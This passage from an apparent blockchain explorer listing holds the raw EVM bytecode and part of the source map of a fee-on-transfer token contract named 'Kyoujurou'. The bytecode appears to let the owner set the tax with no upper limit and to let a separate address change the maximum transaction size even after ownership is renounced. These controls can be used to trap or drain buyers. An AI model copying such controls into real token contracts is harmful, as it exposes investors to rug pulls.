1ed4565b840191505092915050565b60006020820190508181036000830152611f388184611ee5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f7082611f45565b9050919050565b611f8081611f65565b8114611f8b57600080fd5b50565b600081359050611f9d81611f77565b92915050565b6000819050919050565b611fb681611fa3565b8114611fc157600080fd5b50565b600081359050611fd381611fad565b92915050565b60008060408385031215611ff057611fef611f40565b5b6000611ffe85828601611f8e565b925050602061200f85828601611fc4565b9150509250929050565b60008115159050919050565b61202e81612019565b82525050565b60006020820190506120496000830184612025565b92915050565b61205881611fa3565b82525050565b6000602082019050612073600083018461204f565b92915050565b60008060006060848603121561209257612091611f40565b5b60006120a086828701611f8e565b93505060206120b186828701611f8e565b92505060406120c286828701611fc4565b9150509250925092565b600060ff82169050919050565b6120e2816120cc565b82525050565b60006020820190506120fd60008301846120d9565b92915050565b60006020828403121561211957612118611f40565b5b600061212784828501611f8e565b91505092915050565b61213981611f65565b82525050565b60006020820190506121546000830184612130565b92915050565b6000602082840312156121705761216f611f40565b5b600061217e84828501611fc4565b91505092915050565b6000806040838503121561219e5761219d611f40565b5b60006121ac85828601611f8e565b92505060206121bd85828601611f8e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121fd602083611e90565b9150612208826121c7565b602082019050919050565b6000602082019050818103600083015261222c816121f0565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612269601883611e90565b915061227482612233565b602082019050919050565b600060208201905081810360008301526122988161225c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122d5601783611e90565b91506122e08261229f565b602082019050919050565b60006020820190508181036000830152612304816122c8565b9050919050565b60008151905061231a81611f77565b92915050565b60006020828403121561233657612335611f40565b5b60006123448482850161230b565b91505092915050565b60006040820190506123626000830185612130565b61236f6020830184612130565b9392505050565b6000819050919050565b6000819050919050565b60006123a56123a061239b84612376565b612380565b611fa3565b9050919050565b6123b58161238a565b82525050565b600060c0820190506123d06000830189612130565b6123dd602083018861204f565b6123ea60408301876123ac565b6123f760608301866123ac565b6124046080830185612130565b61241160a083018461204f565b979650505050505050565b60008151905061242b81611fad565b92915050565b60008060006060848603121561244a57612449611f40565b5b60006124588682870161241c565b93505060206124698682870161241c565b925050604061247a8682870161241c565b9150509250925092565b60006040820190506124996000830185612130565b6124a6602083018461204f565b9392505050565b6124b681612019565b81146124c157600080fd5b50565b6000815190506124d3816124ad565b92915050565b6000602082840312156124ef576124ee611f40565b5b60006124fd848285016124c4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612562602483611e90565b915061256d82612506565b604082019050919050565b6000602082019050818103600083015261259181612555565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125f4602283611e90565b91506125ff82612598565b604082019050919050565b60006020820190508181036000830152612623816125e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612686602583611e90565b91506126918261262a565b604082019050919050565b600060208201905081810360008301526126b581612679565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612718602383611e90565b9150612723826126bc565b604082019050919050565b600060208201905081810360008301526127478161270b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127aa602983611e90565b91506127b58261274e565b604082019050919050565b600060208201905081810360008301526127d98161279d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281a82611fa3565b915061282583611fa3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561285e5761285d6127e0565b5b828202905092915050565b600061287482611fa3565b915061287f83611fa3565b925082821015612892576128916127e0565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61293081611f65565b82525050565b60006129428383612927565b60208301905092915050565b6000602082019050919050565b6000612966826128fb565b6129708185612906565b935061297b83612917565b8060005b838110156129ac5781516129938882612936565b975061299e8361294e565b92505060018101905061297f565b5085935050505092915050565b600060a0820190506129ce600083018861204f565b6129db60208301876123ac565b81810360408301526129ed818661295b565b90506129fc6060830185612130565b612a09608083018461204f565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a6f602a83611e90565b9150612a7a82612a13565b604082019050919050565b60006020820190508181036000830152612a9e81612a62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612adf82611fa3565b9150612aea83611fa3565b925082612afa57612af9612aa5565b5b828204905092915050565b6000612b1082611fa3565b9150612b1b83611fa3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b5057612b4f6127e0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b91601b83611e90565b9150612b9c82612b5b565b602082019050919050565b60006020820190508181036000830152612bc081612b84565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c23602183611e90565b9150612c2e82612bc7565b604082019050919050565b60006020820190508181036000830152612c5281612c16565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad27bb50b662f5947b1b7f8a8c6df2104427588ac974c7add4e0319c18a3483864736f6c63430008090033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a52c101e146102bf578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f1e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd9565b6103f6565b6040516101629190612034565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061205e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612079565b610421565b6040516101ca9190612034565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f591906120e8565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190612103565b610579565b604051610249919061205e565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b919061213f565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b69190611f1e565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e1919061215a565b610783565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd9565b6107ee565b60405161031c9190612034565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061215a565b61080c565b005b34801561035a57600080fd5b506103636108ef565b005b34801561037157600080fd5b5061038c60048036038101906103879190612187565b610e12565b604051610399919061205e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b600064174876e800905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c5a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065690612213565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000815250905090565b61078b610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b80600a8190555050565b60006108026107fb610f0b565b84846110de565b6001905092915050565b610814610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890612213565b60405180910390fd5b60008110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc9061227f565b60405180910390fd5b8060058190555050565b6108f7610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612213565b60405180910390fd5b600860149054906101000a900460ff16156109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906122eb565b60405180910390fd5b610a0630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1664174876e800610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190612320565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b629190612320565b6040518363ffffffff1660e01b8152600401610b7f92919061234d565b602060405180830381600087803b158015610b9957600080fd5b505af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd19190612320565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5a30610579565b600080610c6561071d565b426040518863ffffffff1660e01b8152600401610c87969594939291906123bb565b6060604051808303818588803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd99190612431565b5050506001600860166101000a81548160ff02191690831515021790555064174876e800600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dbd929190612484565b602060405180830381600087803b158015610dd757600080fd5b505af1158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f91906124d9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90612578565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061260a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d1919061205e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061269c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061272e565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f8906127c0565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb919061280f565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114549190611f1e565b60405180910390fd5b506000838561146c9190612869565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b061289d565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190612320565b816001815181106115e5576115e46128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906129b9565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612a85565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a18919061205e565b60405180910390a3505050505050505050565b60008060006003549050600064174876e8009050611a5964174876e80060035461181690919063ffffffff16565b821015611a745760035464174876e800935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf9190611f1e565b60405180910390fd5b5060008385611ad79190612ad4565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba59190612b05565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190612ba7565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b919061280f565b9050828482611e3a9190612ad4565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190612c39565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ebf578082015181840152602081019050611ea4565b83811115611ece576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ef082611e85565b611efa8185611e90565b9350611f0a818560208601611ea1565b611f1381611ed4565b840191505092915050565b60006020820190508181036000830152611f388184611ee5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f7082611f45565b9050919050565b611f8081611f65565b8114611f8b57600080fd5b50565b600081359050611f9d81611f77565b92915050565b6000819050919050565b611fb681611fa3565b8114611fc157600080fd5b50565b600081359050611fd381611fad565b92915050565b60008060408385031215611ff057611fef611f40565b5b6000611ffe85828601611f8e565b925050602061200f85828601611fc4565b9150509250929050565b60008115159050919050565b61202e81612019565b82525050565b60006020820190506120496000830184612025565b92915050565b61205881611fa3565b82525050565b6000602082019050612073600083018461204f565b92915050565b60008060006060848603121561209257612091611f40565b5b60006120a086828701611f8e565b93505060206120b186828701611f8e565b92505060406120c286828701611fc4565b9150509250925092565b600060ff82169050919050565b6120e2816120cc565b82525050565b60006020820190506120fd60008301846120d9565b92915050565b60006020828403121561211957612118611f40565b5b600061212784828501611f8e565b91505092915050565b61213981611f65565b82525050565b60006020820190506121546000830184612130565b92915050565b6000602082840312156121705761216f611f40565b5b600061217e84828501611fc4565b91505092915050565b6000806040838503121561219e5761219d611f40565b5b60006121ac85828601611f8e565b92505060206121bd85828601611f8e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121fd602083611e90565b9150612208826121c7565b602082019050919050565b6000602082019050818103600083015261222c816121f0565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612269601883611e90565b915061227482612233565b602082019050919050565b600060208201905081810360008301526122988161225c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122d5601783611e90565b91506122e08261229f565b602082019050919050565b60006020820190508181036000830152612304816122c8565b9050919050565b60008151905061231a81611f77565b92915050565b60006020828403121561233657612335611f40565b5b60006123448482850161230b565b91505092915050565b60006040820190506123626000830185612130565b61236f6020830184612130565b9392505050565b6000819050919050565b6000819050919050565b60006123a56123a061239b84612376565b612380565b611fa3565b9050919050565b6123b58161238a565b82525050565b600060c0820190506123d06000830189612130565b6123dd602083018861204f565b6123ea60408301876123ac565b6123f760608301866123ac565b6124046080830185612130565b61241160a083018461204f565b979650505050505050565b60008151905061242b81611fad565b92915050565b60008060006060848603121561244a57612449611f40565b5b60006124588682870161241c565b93505060206124698682870161241c565b925050604061247a8682870161241c565b9150509250925092565b60006040820190506124996000830185612130565b6124a6602083018461204f565b9392505050565b6124b681612019565b81146124c157600080fd5b50565b6000815190506124d3816124ad565b92915050565b6000602082840312156124ef576124ee611f40565b5b60006124fd848285016124c4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612562602483611e90565b915061256d82612506565b604082019050919050565b6000602082019050818103600083015261259181612555565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125f4602283611e90565b91506125ff82612598565b604082019050919050565b60006020820190508181036000830152612623816125e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612686602583611e90565b91506126918261262a565b604082019050919050565b600060208201905081810360008301526126b581612679565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612718602383611e90565b9150612723826126bc565b604082019050919050565b600060208201905081810360008301526127478161270b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127aa602983611e90565b91506127b58261274e565b604082019050919050565b600060208201905081810360008301526127d98161279d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281a82611fa3565b915061282583611fa3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561285e5761285d6127e0565b5b828202905092915050565b600061287482611fa3565b915061287f83611fa3565b925082821015612892576128916127e0565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61293081611f65565b82525050565b60006129428383612927565b60208301905092915050565b6000602082019050919050565b6000612966826128fb565b6129708185612906565b935061297b83612917565b8060005b838110156129ac5781516129938882612936565b975061299e8361294e565b92505060018101905061297f565b5085935050505092915050565b600060a0820190506129ce600083018861204f565b6129db60208301876123ac565b81810360408301526129ed818661295b565b90506129fc6060830185612130565b612a09608083018461204f565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a6f602a83611e90565b9150612a7a82612a13565b604082019050919050565b60006020820190508181036000830152612a9e81612a62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612adf82611fa3565b9150612aea83611fa3565b925082612afa57612af9612aa5565b5b828204905092915050565b6000612b1082611fa3565b9150612b1b83611fa3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b5057612b4f6127e0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b91601b83611e90565b9150612b9c82612b5b565b602082019050919050565b60006020820190508181036000830152612bc081612b84565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c23602183611e90565b9150612c2e82612bc7565b604082019050919050565b60006020820190508181036000830152612c5281612c16565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad27bb50b662f5947b1b7f8a8c6df2104427588ac974c7add4e0319c18a3483864736f6c63430008090033

Deployed Bytecode Sourcemap

3161:7756:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4392:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5156:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4633:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5307:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4554:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8970:169;;;;;;;;;;;;;:::i;:::-;;4726:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2386:133;;;;;;;;;;;;;:::i;:::-;;2201:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4471:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10625:54;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4860:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6155:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7428:505;;;;;;;;;;;;;:::i;:::-;;5017:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9144:168;;;;;;;;;;;;;:::i;:::-;;4392:74;4429:13;4456:5;;;;;;;;;;;;;;;;;4449:12;;4392:74;:::o;5156:146::-;5231:4;5242:39;5251:12;:10;:12::i;:::-;5265:7;5274:6;5242:8;:39::i;:::-;5293:4;5286:11;;5156:146;;;;:::o;4633:88::-;4688:7;3443:12;4702:14;;4633:88;:::o;5307:292::-;5405:4;5416:36;5426:6;5434:9;5445:6;5416:9;:36::i;:::-;5457:121;5466:6;5474:12;:10;:12::i;:::-;5488:89;5526:6;5488:89;;;;;;;;;;;;;;;;;:11;:19;5500:6;5488:19;;;;;;;;;;;;;;;:33;5508:12;:10;:12::i;:::-;5488:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5457:8;:121::i;:::-;5590:4;5583:11;;5307:292;;;;;:::o;4554:74::-;4595:5;4554:74;:::o;8970:169::-;9030:10;;;;;;;;;;;9014:26;;:12;:10;:12::i;:::-;:26;;;9006:35;;;;;;9046:23;9072:24;9090:4;9072:9;:24::i;:::-;9046:50;;9101:33;9118:15;9101:16;:33::i;:::-;9001:138;8970:169::o;4726:129::-;4792:7;4813:37;4833:7;:16;4841:7;4833:16;;;;;;;;;;;;;;;;4813:19;:37::i;:::-;4806:44;;4726:129;;;:::o;2386:133::-;2320:12;:10;:12::i;:::-;2310:22;;:6;;;;;;;;;;:22;;;2302:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2487:1:::1;2450:40;;2471:6;::::0;::::1;;;;;;;;2450:40;;;;;;;;;;;;2512:1;2495:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2386:133::o:0;2201:70::-;2239:7;2260:6;;;;;;;;;;;2253:13;;2201:70;:::o;4471:78: